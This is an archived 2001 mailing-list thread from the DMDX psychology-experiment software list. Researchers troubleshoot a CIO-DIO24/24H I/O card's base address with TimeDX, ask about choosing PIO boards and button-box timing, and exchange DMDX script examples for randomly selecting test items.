tomc@psychology.leeds.ac.uk Received: from psychology.leeds.ac.uk (psycho.leeds.ac.uk [129.11.244.14]) by mps2.leeds.ac.uk (8.11.4/8.11.4) with ESMTP id f78Hfxk19801 for ; Wed, 8 Aug 2001 18:42:00 +0100 (BST) Message-Id: <200108081742.f78Hfxk19801@mps2.leeds.ac.uk> Received: from PSYC/SpoolDir by psychology.leeds.ac.uk (Mercury 1.46); 8 Aug 01 18:34:50 GMT Received: from SpoolDir by PSYC (Mercury 1.46); 8 Aug 01 18:34:30 GMT To: , DMDX@psy1.psych.arizona.edu Date: Wed, 8 Aug 2001 18:34:23 +0100 MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Subject: [DMDX] CIO-DIO24/24H In-reply-to: <10708CF93AE0@psychology.leeds.ac.uk> Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Dear Sir/Madam I have a query concerning PIO and how to get timedx to set up a button box effectively. I would be grateful for any advice. I have acquired a CIO-DIO24/24H I/O card that I intend to use to interface with a button box of the design specified in PIO test help and to output a signal to some equipment for ERP recordings. The button box has been wired into pin 18, 35, 36 and 37 together with pin 19. I notice that this I/O card model only has 7 switches to specify the base address. These are labelled 1,2,3,4,5,6 and 7. The switches are labelled up and down. When the board was supplied these were set as follows: 1(on) 2(on) 3(off) 4(off) 5(off) 6(off) 7(off) Assuming when a switch is off then it contributes to the hex version of an address, this corresponds to 300h and the instacal digital internal and external tests work fine with the base address set in this way. TimedX does not recognise the PIO as installed however, in that it is not listed as a device by the input test. But when I attempt to reset the base address to 310h by, 1(on) 2(on) 3(off) 4(off) 5(off) 6(off) 7(off) then this situation, whereby the input test does not recognise the existence of PIO prevails. I considered the possibility that the base address of the parallel port may be the same but this is 888decimal that I take to be 380h. Is there something that I need to do with directx? Is there something I need to install other than directx and DMDX/timedx? I notice that there directx's diagnostic tool input section has no input devices visible. Moreover, there is only a driver for the joystick. Or please, do you have any other ideas? Best wishes, Tom. Human Factors Section A18 School of Psychology University of Leeds, Leeds LS2 9JT, UK Phone +44 113 233 5724 (School Office) Fax +44 113 233 5749 tomc@psychology.leeds.ac.uk http://www.psyc.leeds.ac.uk/staff/tomc/index.htm >From DMDX-owner@psy1.psych.arizona.edu Wed Aug 8 17:37:56 2001 Received: from ms89.ntu.edu.tw (ms89.ntu.edu.tw [140.112.8.159]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id RAA31688 for ; Wed, 8 Aug 2001 17:37:42 -0700 Received: from ms89.ntu.edu.tw (psy101.psy.ntu.edu.tw [140.112.62.101]) by ms89.ntu.edu.tw (Postfix) with ESMTP id 8101F5D49FE for ; Thu, 9 Aug 2001 08:37:40 +0800 (CST) Message-ID: <3B71DA9B.CC99C9B0@ms89.ntu.edu.tw> Date: Thu, 09 Aug 2001 08:34:35 +0800 From: Anthony Huang MIME-Version: 1.0 To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] How to do random selection? Content-Type: text/plain; charset=big5 Content-Transfer-Encoding: 7bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list I'm having problem with random selection. My case is like the following... In study phase there are 10 items for each category. But I only wanted to show 4 items in the test phase. What should I do? Sorry to bother with such simple problem Thanks. >From DMDX-owner@psy1.psych.arizona.edu Wed Aug 8 19:15:15 2001 Received: from deimos.email.Arizona.EDU (root@deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id TAA31916 for ; Wed, 8 Aug 2001 19:15:06 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.16) by deimos.email.Arizona.EDU (5.1.056) id 3B70ADAF00017C74 for DMDX@psy1.psych.arizona.edu; Wed, 8 Aug 2001 19:15:05 -0700 Message-Id: <5.1.0.14.2.20010808190938.009f4c40@psy1.psych.arizona.edu> Date: Wed, 08 Aug 2001 19:16:08 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: Display error: flipping (me) off :) In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 06:25 PM 8/8/01 +0200, you wrote: >I do have a question however that relates to the error messages I am seeing >when I run the program. The help file section on 'common errors' explains >that my 'Display errors' may be ameanable to tweaking of the sleep times and >page bliting parameters. I have cut down the sleep to 5 (from 13) and >blitting to 100 (from 200) without benefit. Without knowing what I am >doing, further tweaking is more blind trial and error than I prefer. There's not much more parameter tweaking you can do, lowering the Sleep times is the major thing, chopping the Blit Time in half is also a good thing. >Do these errors really amount to anything in my application (i.e., can I >ignore them?) Depends how much it matters to you that the ""."" frame is presented one tick (in your case 13.35ms) longer than you intended. >I am displaying black and white text symbols at 600 x 800, 8 bits on an 8MB >ATI Rage-Pro display card. DirectX v. 8. I am networked and have not >disabled file and resource sharing (yet). You could try a 16 bit color mode, I'm seeing more and more drivers perform better with the RGB display versus the palette that comes with 8 bit modes. Other than that your up against the hardware. You could try going to ATI's web page and downloading newer drivers, if you've got a VIA chipset the the latest 4in1 drivers are a very good idea. Short of those working though it's pretty much a case of pulling different components out of the machine and seeing if the video card suddenly gets better or trying a different video card. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ While it may be true that a watched pot never boils, the one you don't keep an eye on can make an awful mess of your stove. - Edward Stevenson >From DMDX-owner@psy1.psych.arizona.edu Wed Aug 8 19:18:41 2001 Received: from deimos.email.Arizona.EDU (root@deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id TAA31929 for ; Wed, 8 Aug 2001 19:18:35 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.16) by deimos.email.Arizona.EDU (5.1.056) id 3B70ADAF00017D11 for DMDX@psy1.psych.arizona.edu; Wed, 8 Aug 2001 19:18:34 -0700 Message-Id: <5.1.0.14.2.20010808191705.009df100@psy1.psych.arizona.edu> Date: Wed, 08 Aug 2001 19:19:38 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: CIO-DIO24/24H In-Reply-To: <200108081742.f78Hfxk19801@mps2.leeds.ac.uk> References: <10708CF93AE0@psychology.leeds.ac.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 06:34 PM 8/8/01 +0100, you wrote: > Is there something that I need to do with directx? No. >Is there something I need to install other than directx and >DMDX/timedx? Not unless it's a PCI card. If you have no success changing the card's base address change the base address that TimeDX and DMDX use to 300. > I notice that there directx's diagnostic tool input >section has no input devices visible. Moreover, there is only a driver >for the joystick. The PIO has nothing to do with DirectX. If it did things would be gravy but there are no DirectX drivers for the PIO. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ While it may be true that a watched pot never boils, the one you don't keep an eye on can make an awful mess of your stove. - Edward Stevenson >From DMDX-owner@psy1.psych.arizona.edu Wed Aug 8 19:22:15 2001 Received: from deimos.email.Arizona.EDU (root@deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id TAA31947 for ; Wed, 8 Aug 2001 19:22:09 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.16) by deimos.email.Arizona.EDU (5.1.056) id 3B70ADAF00017DC8 for DMDX@psy1.psych.arizona.edu; Wed, 8 Aug 2001 19:22:08 -0700 Message-Id: <5.1.0.14.2.20010808192033.009f3490@psy1.psych.arizona.edu> Date: Wed, 08 Aug 2001 19:23:12 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: How to do random selection? In-Reply-To: <3B71DA9B.CC99C9B0@ms89.ntu.edu.tw> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 08:34 AM 8/9/01 +0800, you wrote: >I'm having problem with random selection. >My case is like the following... >In study phase there are 10 items for each category. >But I only wanted to show 4 items in the test phase. >What should I do? >Sorry to bother with such simple problem If blocking items together is no particular concern you can always use S1. Should your S10 really matter you can always bulk out the test phase with groups of 6 filler items to make the scrambling balance. I typically use: 0 d0 ! %0 c; -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ While it may be true that a watched pot never boils, the one you don't keep an eye on can make an awful mess of your stove. - Edward Stevenson >From DMDX-owner@psy1.psych.arizona.edu Thu Aug 9 05:19:45 2001 Received: from mps1.leeds.ac.uk (mps1.leeds.ac.uk [129.11.16.8]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id FAA00340 for ; Thu, 9 Aug 2001 05:19:23 -0700 From: tomc@psychology.leeds.ac.uk Received: from psychology.leeds.ac.uk (psycho.leeds.ac.uk [129.11.244.14]) by mps1.leeds.ac.uk (8.11.4/8.11.4) with ESMTP id f79CJMr23177 for ; Thu, 9 Aug 2001 13:19:22 +0100 (BST) Message-Id: <200108091219.f79CJMr23177@mps1.leeds.ac.uk> Received: from PSYC/SpoolDir by psychology.leeds.ac.uk (Mercury 1.46); 9 Aug 01 13:12:07 GMT Received: from SpoolDir by PSYC (Mercury 1.46); 9 Aug 01 13:11:40 GMT To: DMDX@psy1.psych.arizona.edu Date: Thu, 9 Aug 2001 13:11:31 +0100 MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Subject: [DMDX] Re: CIO-DIO24/24H In-reply-to: <5.1.0.14.2.20010808191705.009df100@psy1.psych.arizona.edu> References: <200108081742.f78Hfxk19801@mps2.leeds.ac.uk> Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Thank you for the advice. > Not unless it's a PCI card. If you have no success changing the > card's > base address change the base address that TimeDX and DMDX use to 300. I've tried this but to no avail. It is a Computerboards CIO- DIO24/24H, that was formerly known as CIO-DIO48. This is alledgedly plug-and-play, but it downloads something from a CD that comes with the board, that includes the instacal package to test if it is intalled right. I do not think this is a PCI card. It seems to be correctly installed when the base address is set to 300h. Please do you have any other suggestions as to what the problem may be? Curiously the first time that I select PIO test on each loading of timedx, when I click start the tick boxes for output bits turn white and all the values in the right column turn to high. Whether I click stop then save the done or save then stop then done or start then done, this has no effect. Clicking start for a second time afterwards all the right column remains as questionmarks. Best regards, Tom. Human Factors Section A18 School of Psychology University of Leeds, Leeds LS2 9JT, UK Phone +44 113 233 5724 (School Office) Fax +44 113 233 5749 tomc@psychology.leeds.ac.uk http://www.psyc.leeds.ac.uk/staff/tomc/index.htm >From DMDX-owner@psy1.psych.arizona.edu Thu Aug 9 07:16:21 2001 Received: from smtp.gu.se (smtp.gu.se [130.241.150.66]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id HAA00638 for ; Thu, 9 Aug 2001 07:16:08 -0700 Received: from mango (psyk21.ss.med.gu.se [130.241.85.176]) by smtp.gu.se (8.10.2/8.10.2) with SMTP id f79EG6p25655 for ; Thu, 9 Aug 2001 16:16:06 +0200 From: ""Derek N. Eder"" To: ""DMDX"" Subject: [DMDX] List of known 'DMDX compatible' PIO boards? Date: Thu, 9 Aug 2001 16:15:29 +0200 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 8bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Is there a list of DMDX 'approved' PIO boards? The ongoing configuration problems that one of the posters is having makes me want to be certain of the PIO board I am about to buy. (1) Does anyone use the Advantech PCL-724 PIO card ? (e.g., http://www.advantech.com/products/pdf/PCL-724.pdf) (2) Are PCI bus PIO cards problematic under DMDX ? (3) When looking at a PIO board, what advertising buzzwords should we look for? (e.g., DirectX ? Plus and Play ? Operating Thetan? ) Also, Is it neccessary to use a one-shot with a puch button switch when 'triggering' a PIO input in order to guarantee that the button press won't be missed by the polling? (i.e., a one-shot is an electronic pulse generator that creates a stable 10(?) ms trigger to the PIO input ). I guess the same question applies to joystick port switches. There is a note in the on-line documentation about improving the response time of mice buttons by 'shorting the axis pots'. I want to caution that some mice do not use pots (resistance potentiometers) but rather have rotary optical encoders (which look like pots!). The consequences of shorting their terminals out would be rather different and potentially lethal to the mouse. Thanks, Derek Derek N. Eder G�teborgs Universitet Institutionen f�r klinisk neurovetenskap - psykiatri Sahlgrenska universitetssjukhuset SS/SU Bl� straket 17b SE 413 45 G�teborg Sverige Tlf. +46 (031) 34 26 139 Fax. +46 (031) 34 21 533 derek.eder@neuro.gu.se Gothenburg University Institute of Clinical Neuroscience, Section for Psychiatry Salhgrenska Hospital SU/SS SE 413 45 G�teborg Sweden >From DMDX-owner@psy1.psych.arizona.edu Thu Aug 9 07:46:21 2001 Received: from mailspool.helios.nd.edu (mailspool.helios.nd.edu [129.74.250.7]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id HAA00738 for ; Thu, 9 Aug 2001 07:46:15 -0700 Received: from darwin.helios.nd.edu (darwin.helios.nd.edu [129.74.250.114]) by mailspool.helios.nd.edu (8.9.2/8.9.2) with ESMTP id JAA26639 for ; Thu, 9 Aug 2001 09:46:12 -0500 (EST) Received: from localhost (mwenger1@localhost) by darwin.helios.nd.edu (8.10.1/8.10.1/ND-cluster) with ESMTP id f79EkEB11631 for ; Thu, 9 Aug 2001 09:46:14 -0500 (EST) Date: Thu, 9 Aug 2001 09:46:14 -0500 (EST) From: ""Michael J. Wenger"" To: DMDX Subject: [DMDX] Re: List of known 'DMDX compatible' PIO boards? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list We've been successfully using Keithley's KPCI-PIO24 for control of tachistoscopic goggles and input from response boxes. We did have a little trouble getting to the point where we could use these boards effectively, but the tech support from Keithley was good. The board requires an emulator for setting the IO location, and the emulator is provided with the board. For a description of our application, see http://www.nd.edu/~mwenger1 and follow the links from ""Preprints"". -Michael ------------------------------------------------------------------- Michael J. Wenger Department of Psychology University of Notre Dame Notre Dame IN 46556 Office phone: (219) 631-9429 Dept. fax: (219) 631-8883 E-mail: Michael.J.Wenger.4@nd.edu mwenger1@nd.edu http://www.nd.edu/~mwenger1 ------------------------------------------------------------------- >From DMDX-owner@psy1.psych.arizona.edu Thu Aug 9 09:18:40 2001 Received: from deimos.email.Arizona.EDU (root@deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id JAA00938 for ; Thu, 9 Aug 2001 09:18:27 -0700 Received: from kif.u.arizona.edu (128.196.98.27) by deimos.email.Arizona.EDU (5.1.056) id 3B70ADAF00022A14 for DMDX@psy1.psych.arizona.edu; Thu, 9 Aug 2001 09:18:25 -0700 Message-Id: <4.3.1.1.20010809091315.00d09a10@kforster.inbox.email.arizona.edu> Date: Thu, 09 Aug 2001 09:19:04 -0700 To: DMDX@psy1.psych.arizona.edu From: Kenneth Forster Subject: [DMDX] Re: How to do random selection? In-Reply-To: <3B71DA9B.CC99C9B0@ms89.ntu.edu.tw> Mime-Version: 1.0 Content-Type: multipart/alternative; boundary=""=====================_890837==_.ALT"" Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list --=====================_890837==_.ALT Content-Type: text/plain; charset=""us-ascii""; format=flowed At 08:34 AM 8/9/01 +0800, you wrote: >I'm having problem with random selection. >My case is like the following... >In study phase there are 10 items for each category. >But I only wanted to show 4 items in the test phase. >What should I do? >Sorry to bother with such simple problem >Thanks. Anthony Huang , Try the following. The way it works is that the scrambling of the test items goes around anything inside $...$. However, the instruction after the 4th test item causes an unconditional branch to the next item number 0, thereby skipping the rest of the items. Note that the backslashes are critical, otherwise study items and test items would get mixed up. n4 f40 s10 $0 ""Beginning of study phase"" ;$ 0 ""study 1""; 0 ""study 2""; 0 ""study 3""; 0 ""study 4""; 0 ""study 5""; 0 ""study 6""; 0 ""study 7""; 0 ""study 8""; 0 ""study 9""; 0 ""study 10""; \\ $0 ""Test Phase"";$ +1 *""test 1""; +2 * ""test 2""; +3 * ""test 3""; +4 *""test 4""; $0 ""End of test phase."" ;$ +5 * ""test 5""; +6 * ""test 6""; +7 * ""test 7""; +8 * ""test 8""; +9 * ""test 9""; +10 *""test 10""; $0 ""next part."";$ \\ $0 ""End"";$ --Ken Forster --=====================_890837==_.ALT Content-Type: text/html; charset=""us-ascii"" At 08:34 AM 8/9/01 +0800, you wrote: I'm having problem with random selection. My case is like the following... In study phase there are 10 items for each category. But I only wanted to show 4 items in the test phase. What should I do? Sorry to bother with such simple problem Thanks. Anthony Huang ,         Try the following.  The way it works is that the scrambling of the test items goes around anything inside $...$.  However, the instruction after the 4th test item causes an unconditional branch to the next item number 0, thereby skipping the rest of the items.  Note that the backslashes are critical, otherwise study items and test items would get mixed up. n4 f40 s10 $0 �Beginning of study phase� ;$ 0 �study 1�; 0 �study 2�; 0 �study 3�; 0 �study 4�; 0 �study 5�; 0 �study 6�; 0 �study 7�; 0 �study 8�; 0 �study 9�; 0 �study 10�; \\ $0 �Test Phase�;$ +1 *�test 1�; +2 * �test 2�; +3 * �test 3�; +4 *�test 4�; $0 �End of test phase.� ;$ +5 * �test 5�; +6 * �test 6�; +7 * �test 7�; +8 * �test 8�; +9 * �test 9�; +10 *�test 10�; $0 �next part.�;$ \\ $0 �End�;$ --Ken Forster --=====================_890837==_.ALT-- >From DMDX-owner@psy1.psych.arizona.edu Thu Aug 9 09:29:44 2001 Received: from phobos.email.Arizona.EDU (root@phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id JAA00964 for ; Thu, 9 Aug 2001 09:29:29 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.16) by phobos.email.Arizona.EDU (5.1.056) id 3B698B3100085B9C for DMDX@psy1.psych.arizona.edu; Thu, 9 Aug 2001 09:29:27 -0700 Message-Id: <5.1.0.14.2.20010809091923.009ed3e0@psy1.psych.arizona.edu> Date: Thu, 09 Aug 2001 09:30:30 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: CIO-DIO24/24H In-Reply-To: <200108091219.f79CJMr23177@mps1.leeds.ac.uk> References: <5.1.0.14.2.20010808191705.009df100@psy1.psych.arizona.edu> <200108081742.f78Hfxk19801@mps2.leeds.ac.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 01:11 PM 8/9/01 +0100, you wrote: >I've tried this but to no avail. It is a Computerboards CIO- >DIO24/24H, that was formerly known as CIO-DIO48. Ah, I see what the problem is, it's not a DIO24 which is the card we use for I/O, you have the DIO48, there's _two_ 8255s in there. The ComputerBoards site claims that the card is emulating an 8255 which is fine, but if there's two of them addressing can't as simple as just using 0x300 as a base, the other device has to live somewhere else. You'll either have to send me the documentation on the board or get someone technical to look at it and figure out why TimeDX wouldn't be working as it claims existing software should work without modification. I'm pretty sure I've tested that TimeDX works with port bases other than 0x310 but it doesn't hurt to make sure that you're using the latest version of TimeDX anyway. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ While it may be true that a watched pot never boils, the one you don't keep an eye on can make an awful mess of your stove. - Edward Stevenson >From DMDX-owner@psy1.psych.arizona.edu Thu Aug 9 09:42:22 2001 Received: from phobos.email.Arizona.EDU (root@phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id JAA01044 for ; Thu, 9 Aug 2001 09:42:15 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.16) by phobos.email.Arizona.EDU (5.1.056) id 3B698B31000860E4 for DMDX@psy1.psych.arizona.edu; Thu, 9 Aug 2001 09:42:14 -0700 Message-Id: <5.1.0.14.2.20010809093207.009e52b0@psy1.psych.arizona.edu> Date: Thu, 09 Aug 2001 09:43:16 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: List of known 'DMDX compatible' PIO boards? In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 04:15 PM 8/9/01 +0200, you wrote: >Is there a list of DMDX 'approved' PIO boards? Only the one we use and that's on the website. > The ongoing configuration >problems that one of the posters is having makes me want to be certain of >the PIO board I am about to buy. > >(1) Does anyone use the Advantech PCL-724 PIO card ? (e.g., >http://www.advantech.com/products/pdf/PCL-724.pdf) It should work. >(2) Are PCI bus PIO cards problematic under DMDX ? They're only problematic in that a PCI device's base address can change when any hardware in the computer is changed so you have to keep a pretty close watch on it. ISA cards are much less of a problem (assuming you have a motherboard with an ISA slot of course, many motherboards don't these days). >(3) When looking at a PIO board, what advertising buzzwords should we look >for? (e.g., DirectX ? Plus and Play ? Operating Thetan? ) Emulates an 8255. >Also, Is it neccessary to use a one-shot with a puch button switch when >'triggering' a PIO input in order to guarantee that the button press won't >be missed by the polling? You ever seen anyone press a key for less than a millisecond? Given that most keys I've measured have mechanical activation times far in excess of a millisecond I don't think you'll ever miss a keypress, not with DMDX anyway. Oneshots are used more to shape a pulse, they get rid of any bouncing as the switch is closed or released and again, most switches these days are very clean there too. No, a oneshot isn't necessary. > (i.e., a one-shot is an electronic pulse generator >that creates a stable 10(?) ms trigger to the PIO input ). I guess the same >question applies to joystick port switches. No, software poling eliminates the need for any electronics. >There is a note in the on-line documentation about improving the response >time of mice buttons by 'shorting the axis pots'. I doubt it, there's a note about joysticks but not mice, mice never have pots in them. > I want to caution that >some mice do not use pots (resistance potentiometers) but rather have rotary >optical encoders (which look like pots!). The consequences of shorting >their terminals out would be rather different and potentially lethal to the >mouse. But your point stands, if someone bought a digital joystick that used optical encoders and they shorted them out things would probably go awry. But I do emphasize somewhere in there to get old fashioned simple non-digital non-optical joysticks. OTOH, buying a digital joystick and using it as is may lead to impressively low polling times anyway, most of those devices don't actually plug in to a joystick port anyway. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ While it may be true that a watched pot never boils, the one you don't keep an eye on can make an awful mess of your stove. - Edward Stevenson >From DMDX-owner@psy1.psych.arizona.edu Thu Aug 9 10:25:43 2001 Received: from mps1.leeds.ac.uk (mps1.leeds.ac.uk [129.11.16.8]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id KAA01214 for ; Thu, 9 Aug 2001 10:24:37 -0700 From: tomc@psychology.leeds.ac.uk Received: from psychology.leeds.ac.uk (psycho.leeds.ac.uk [129.11.244.14]) by mps1.leeds.ac.uk (8.11.4/8.11.4) with ESMTP id f79HOZr13600 for ; Thu, 9 Aug 2001 18:24:35 +0100 (BST) Message-Id: <200108091724.f79HOZr13600@mps1.leeds.ac.uk> Received: from PSYC/SpoolDir by psychology.leeds.ac.uk (Mercury 1.46); 9 Aug 01 18:17:22 GMT Received: from SpoolDir by PSYC (Mercury 1.46); 9 Aug 01 18:17:11 GMT To: DMDX@psy1.psych.arizona.edu Date: Thu, 9 Aug 2001 18:17:08 +0100 MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Subject: [DMDX] Re: CIO-DIO24/24H In-reply-to: <5.1.0.14.2.20010809091923.009ed3e0@psy1.psych.arizona.edu> References: <200108091219.f79CJMr23177@mps1.leeds.ac.uk> Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list On 9 Aug 01, at 9:30, j.c.f. wrote: > At 01:11 PM 8/9/01 +0100, you wrote: > > >I've tried this but to no avail. It is a Computerboards CIO- > >DIO24/24H, that was formerly known as CIO-DIO48. > > Ah, I see what the problem is, it's not a DIO24 which is the card > we use > for I/O, you have the DIO48, there's _two_ 8255s in there. The > ComputerBoards site claims that the card is emulating an 8255 which is > fine, but if there's two of them addressing can't as simple as just > using 0x300 as a base, the other device has to live somewhere else. > You'll either have to send me the documentation on the board or get > someone technical to look at it and figure out why TimeDX wouldn't be > working as it claims existing software should work without > modification. Ok, I'll send on the manual by fax in about 14-15 hours time. Please do you have a favoured fax number? Best regards, Tom. I'm pretty sure I've tested that TimeDX works with port > bases other than 0x310 but it doesn't hurt to make sure that you're > using the latest version of TimeDX anyway. > > -jonathan (j.c.f.) > > /""\\ > \\ / > X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL > / \\ > > While it may be true that a watched pot never boils, the one you don't > keep an eye on can make an awful mess of your stove. > > - Edward Stevenson > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email to > be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== Human Factors Section A18 School of Psychology University of Leeds, Leeds LS2 9JT, UK Phone +44 113 233 5724 (School Office) Fax +44 113 233 5749 tomc@psychology.leeds.ac.uk http://www.psyc.leeds.ac.uk/staff/tomc/index.htm >From DMDX-owner@psy1.psych.arizona.edu Thu Aug 9 11:19:50 2001 Received: from phobos.email.Arizona.EDU (root@phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id LAA01420 for ; Thu, 9 Aug 2001 11:19:43 -0700 Received: from jcf.u.arizona.edu (128.196.98.7) by phobos.email.Arizona.EDU (5.1.056) id 3B698B31000889FA for DMDX@psy1.psych.arizona.edu; Thu, 9 Aug 2001 11:19:41 -0700 Message-Id: <5.1.0.14.2.20010809111246.009eb8d0@psy1.psych.arizona.edu> Date: Thu, 09 Aug 2001 11:19:40 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] Re: CIO-DIO24/24H In-Reply-To: <200108091724.f79HOZr13600@mps1.leeds.ac.uk> References: <5.1.0.14.2.20010809091923.009ed3e0@psy1.psych.arizona.edu> <200108091219.f79CJMr23177@mps1.leeds.ac.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 06:17 PM 8/9/01 +0100, you wrote: >Ok, I'll send on the manual by fax in about 14-15 hours time. >Please do you have a favoured fax number? It's (520) 621-9306, you'll have to figure out the country code. If you can scan the docs in you can send them as an attachment to jforster@email.arizona.edu, but if you do please don't use attachments in the body of the email. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Democracy is a government where you can say what you think even if you don't think. >From DMDX-owner@psy1.psych.arizona.edu Fri Aug 10 12:44:47 2001 Received: from phobos.email.Arizona.EDU (root@phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id MAA04328 for ; Fri, 10 Aug 2001 12:43:42 -0700 Received: from jcf.u.arizona.edu (128.196.98.7) by phobos.email.Arizona.EDU (5.1.056) id 3B7336E50000E465 for DMDX@psy1.psych.arizona.edu; Fri, 10 Aug 2001 12:43:40 -0700 Message-Id: <5.1.0.14.2.20010810122416.009e2ec0@psy1.psych.arizona.edu> Date: Fri, 10 Aug 2001 12:43:40 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] DIO24H Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list ====================================================================== At 03:16 PM 8/10/01 +0100, you wrote: Dear jcf, Just sent the manual for the third time. Hopefully, the fax will have just got through to you or is half way across the Atlantic. ====================================================================== It got through ok and unfortunately I don't see anything that would indicate the source of your problem. It's nice of them to change the name of the card from a nice and clear DIO48, it having 48 I/O lines to DIO24 when DIO24 is the name of a card that actually has 24 lines, but we'll pass that over. From looking at the manual you have two 8255 devices in there, one at base + 0 and the other at base + 4, so if you've set the base at 0x300 one device is at 0x300 and the other at 0x304. TimeDX can use either device by changing it's base address appropriately (don't put the 0x in though, just the 300 or 304). Are you using the latest TimeDX? IIRC there was some problem with the PIO base address but I'm not seeing anything in my comments so it must have been a real long time ago. The only other thing is to check your windows device manager and to list devices by I/O port and to see if there's something else using the 0x300 range. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Democracy is a government where you can say what you think even if you don't think. >From DMDX-owner@psy1.psych.arizona.edu Mon Aug 13 03:26:32 2001 Received: from mailhost.mrc-cbu.cam.ac.uk (sirius.mrc-cbu.cam.ac.uk [192.153.213.178]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id DAA10577 for ; Mon, 13 Aug 2001 03:25:31 -0700 Received: from pc111 by mailhost.mrc-cbu.cam.ac.uk with Sendmail (8.9.3/V3080601); Mon, 13 Aug 2001 11:25:23 +0100 (BST) Message-Id: 